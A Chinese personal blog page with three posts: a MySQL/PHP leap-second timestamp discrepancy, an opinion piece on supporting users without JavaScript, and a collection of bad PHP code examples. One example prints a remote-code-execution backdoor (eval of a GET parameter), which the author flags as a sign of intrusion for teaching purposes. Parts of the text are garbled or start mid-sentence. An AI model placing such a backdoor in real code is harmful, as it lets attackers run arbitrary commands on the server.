無標題文檔

因闰秒造成的误差

项目中碰到 PHP 和数据库之间,计算存在时间计算误差。大致的情况为根据段时间字符串,例如

2012-12-14 00:00:00 UTC

使用 MySQL 的 UNIX_TIMESTAMP 函数以及 PHP 的 strtotime 计算得出的时间戳,大概有半分钟(差不多有28秒)的误差。

同时,比较‘诡异’的是直接使用当前时间(MySQL 中 UNIX_TIMESTAMP 不带参数,同时 PHP 直接使用 time 函数),却不存在误差( 测试脚本 )。

排除了 PHP 和 MySQL 之间因为时区设置造成的时间误差 -- 根据经验,如果是时区设置造成的时间误差,应该有几个小时不会那么少。

搜索解决问题期间扫了下 这篇帖子 ,觉得应该是 ‘闰秒’ 这玩意造成的问题。搜索 PHP 闰秒相关的配置似乎没有相关的, 不过在这里似乎找到了些答案

You also can experience this behavior if your system timezone
is with leap seconds. To avoid the problem in this case please
run query UPDATE mysql.time_zone SET Use_leap_seconds='N' 
and restart the server. Please inform us if this helps.

按照上述的步骤执行,解决了问题。

回过头来,我在工作机(Windows)上测试,发现并不起作用。研究了下, 原来闰秒也需要操作系统的支持

1、对于大多数新的 Linux 内核,在设计时它们都是支持闰
   秒的,这一点在 REHL4/5 的 2.6.x 内核中得到肯定。 
2、如果 Linux 系统没有配种某种时间同步机制(比如NTP),
   那么和闰秒无关,唯一导致的结果只是系统时间会比 UTC
   时间快一秒。 
3、Window Time Service 不支持闰秒,包括服务器和客户端。

回过头来考虑项目中碰到的这种情况,直接使用时间戳存储时间点会更精确些。最后, 提供下相关的测试脚本 ,看看你的环境是否也会有类似的问题。

-- EOF --

可用性有如此重要?

请原谅我取了个如此有争议的标题,原文的标题是《浏览器不是什么》。我个人觉得作者有点脱离题目,但这并不影响其想要陈述的观点。

可用性 一直是我们前端争论的焦点之一。但仔细想想,我们是否值得为那些连见都没见到过的盲人阅读器或者那些自行禁用 JavaScript 的用户投入额外的、大量的开发成本去「满足」他们?

-- Split --

原文地址: http://blog.istvan-antal.ro/2010/10/what-is-not-a-browser/ 发声 。而后过了段时期,出现了能够同时使用扬声器和声卡的应用程序。

话说回来,现在是否还有人关心自己的机子上有无声卡吗?我想恐怕已经没有。甚至我觉得人们已经遗忘了机箱中的扬声器了。

例如,我从来没有见过某款游戏因为机子上没有声卡而自动关闭其声音--当然,如果我耳朵听不到那是另外回事情(老外的这个说法比较冷)。

说了那么多,上述故事和浏览器以及 JavaScript 的故事非常的相似。不同的是现在的开发人员,在开发应用的时候,仍然在考虑如果没有脚本支持的这一情况。

其实和当年的声卡普及情况差不多,JavaScript 发明于 1995 年(已经是 15 年前了)。当时其在浏览器中的份额不到 1%,而且当时的用户(甚至开发者)都认为这玩意是可有可无的。

我的观点是,每个 Web 应用程序应该能够尽可能的运行在不同环境中,但它并不说明无条件的迁就于某一情况,在任何情况下都表现一致。

例如,在浏览器没有 JavaScript 支持的情况下,新闻类站点仍然可以显示其主要内容(新闻),同时不保证那些依赖 JavaScript 的相册脚本,仍然还能正常工作。

我们现在称之为「浏览器」的应用程序必须为:它能理解 HTML、能使用 CSS 渲染页面、同时能驱动 JavaScript 脚本。某个应用程序只能够完成上述一项或者其中两项功能,那么这压根就无法称之为「浏览器」。

例如,搜索引擎理解 HTML(以及部分 CSS 防止作弊),我们只需要提供内容让其收录 -- 同时它不需要过多的了解 GUI 相关的设计。

从内容方面考虑,其实我只关心两件事物:搜索引擎和浏览器。首先,我第一步需要做的就是创建具有语义的 HTML(这对于 HTML 来说并不容易),然后再使用 CSS 排版并且使其支持现代浏览器,然后再使用 JavaScript 增加针对 IE 的 CSS 规则(很明显原作者非常讨厌 IE)。

我的上述工作流程有时候会收到指责,因为这样必须让老旧的浏览器具备 JavaScript 支持才能引入针对其自身的 CSS 规则。同时情况可能变得模棱两可,我真的不认为我们称之为「浏览器」的玩意竟然不支持 JavaScript,哪怕是那些可以称之为古董的玩意(暗指 IE 吗?)。

总而言之,我们的思路应该为未来而开发,而非迁就过去(We should develop for the future not for the past.)。

我们应该为大多数(用户)而非少数服务。如果我们的用户中有 0.1% 禁用了 JavaScript,那么在我看来,我们可能不值得去耗费大量的开发时间去争取那些 0.1% 的用户。

同时另一个事实是,如果我们让用户觉得在没有使用 JavaScript 的情况下也能使用我们的应用,那么他们会毫不犹豫的禁用它(类似 noscript 插件 )。那么这样,我们推进 Web 的前进几乎是不可能的,我们和用户都会认为 JavaScript 是额外的附属品。

最后,其实我想说明的是:在着手实际开发之前,我们首先规划那些有限的资源(例如时间、人力等)-- 它们的计划投入和实际产出是否能符合我们的预期。

-- EOF --

那些糟糕的 PHP 代码

摘录自: http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/ 是个好东西,但如其他的奇技淫巧一样, 如果使用不当很容易割伤自己。

同时需要注意的是, 自 PHP 5 起,new 自动返回引用,因 此在此使用 =& 已经过时了并且会产生 E_STRICT 级的消息。例如

$foo =& find_var($bar);

所以可以理解上面的 代码为何会出错 (同时这在 PHP4 中并不会!)。

随着「积木越搭越高」,有时这个问题可能会耗费你一个下午的时间,因此应尽量避免使用它。

Example 4.

function htmlspecialcharsex($str) {
    if (strlen($str)>0) {
        $str = str_replace("&", "&", $str);
        $str = str_replace("<", "<", $str);
        $str = str_replace(">", ">", $str);
        $str = str_replace(""", """, $str);
        $str = str_replace("<", "&lt;", $str);
        $str = str_replace(">", "&gt;", $str);
        $str = str_replace("\"", "&quot;", $str);
    }
    return $str;
}

类似的你可能自己实现过 json 、xml 等解析器,这都是在编码前没有 翻阅 PHP 手册 的缘故。

if (!function_exists('testfunc')) {
  function testfunc() { }
}

如果你不确定将来的环境是否有对应的函数,那么你可以使用 function_exists 来判断。

Example 5.

str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $file_new);

我知道你很迷惑为什么制表符不加入 HTML 实体中,但请你记住还有 <pre> 这个标签。同时如果想要调整间距, 那么 CSS 可能是你需要了解的。

Example 6.

$id = 0;
while (!$id || mysql_error()) {
    $id = rand(1, 10000000);
    mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}

MySQL 表示压力很大!

Example 7.

$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);

上面的代码如果你觉得复制粘贴非常累,那么可以考虑使用循环

$words = array(',', '.', '/', '-', '+', '#');
foreach($words as $word) {
    str_replace("#", "", $find);
}

当然,如果知道还有正则这个玩意的话,那就更好了

$find = preg_replace('%\,|\.|\/|\-|\+|#%', "", $find);

Update

str_replace 其实也是可以用数组做为参数的, 类似这样:
str_replace(array(',',"."), "", $source); 
理论上应该比用正则效率高。

by avenger

Example 8.

echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);

当有大段的 echo 出现的时候,你就应该考虑是否需要个 模板引擎 了。 除此之外,简单的做法就是 include 个文本文件(请放心,PHP 会直接输出它的内容),然后再需要输出 变量的地方使用 PHP 标签。

注意最后一句代码,它可能会毁掉你整个系统!如果这段不是你加入的,那么你可能已经被入侵了。请记住 几个原则 1、永远都不要尝试使用 eval 函数 2、永远都不要直接使用 $_GET$_POST 等用户输入的 变量。

Example 9.

if (isset($param) && $param!=null && $param!=0 && $param>1) {
    sendRequest($param);
}

过多的条件判断等于没有判断,上面的代码可以考虑下精简成下面这个样子

if (is_numeric($param) && $param > 1) {
    sendRequest($param);
}

Example 10.

switch (true) {
    case $formid == 'search_form' :
    case $formid == 'search_theme_form' :
        $form['#action'] = getlangpref() . ltrim($form['#action'], '/');
        $form['#submit']['gpcustom_customsubmit'] = array();
        break;
    case $formid == 'localizernode_translations' :
        foreach ( $form['languages'] as $key => $value ) {
            if ( !is_array($value['#options']) ) continue;
            asort($form['languages'][$key]['#options']);
        }
        break;
    case $formid == 'contact_mail_page' :
        if ( $url = variable_get('gpcustom-contact-form-redirect', false) )
            $form['#redirect'] = $url;
        break;

}

偷个懒,这坨代码留给大家去优化吧,我想你们会做得更好的 :^) 各位有其他更糟糕的例子吗?欢迎提供。

-- EOF --

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 要知道作为码农取名是件很难的事情,所以不想在取名这事情上太费心思。

作为八零后,自认为还仅存点点可能不怎么被理解的幽默感,以及对平淡生活的追求和向往。 为了避免不必要的麻烦,声明本站所输出的内容以及观点仅代表个人,不代表自己所服务公司或组织的任何立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d`

分类

搜索

文章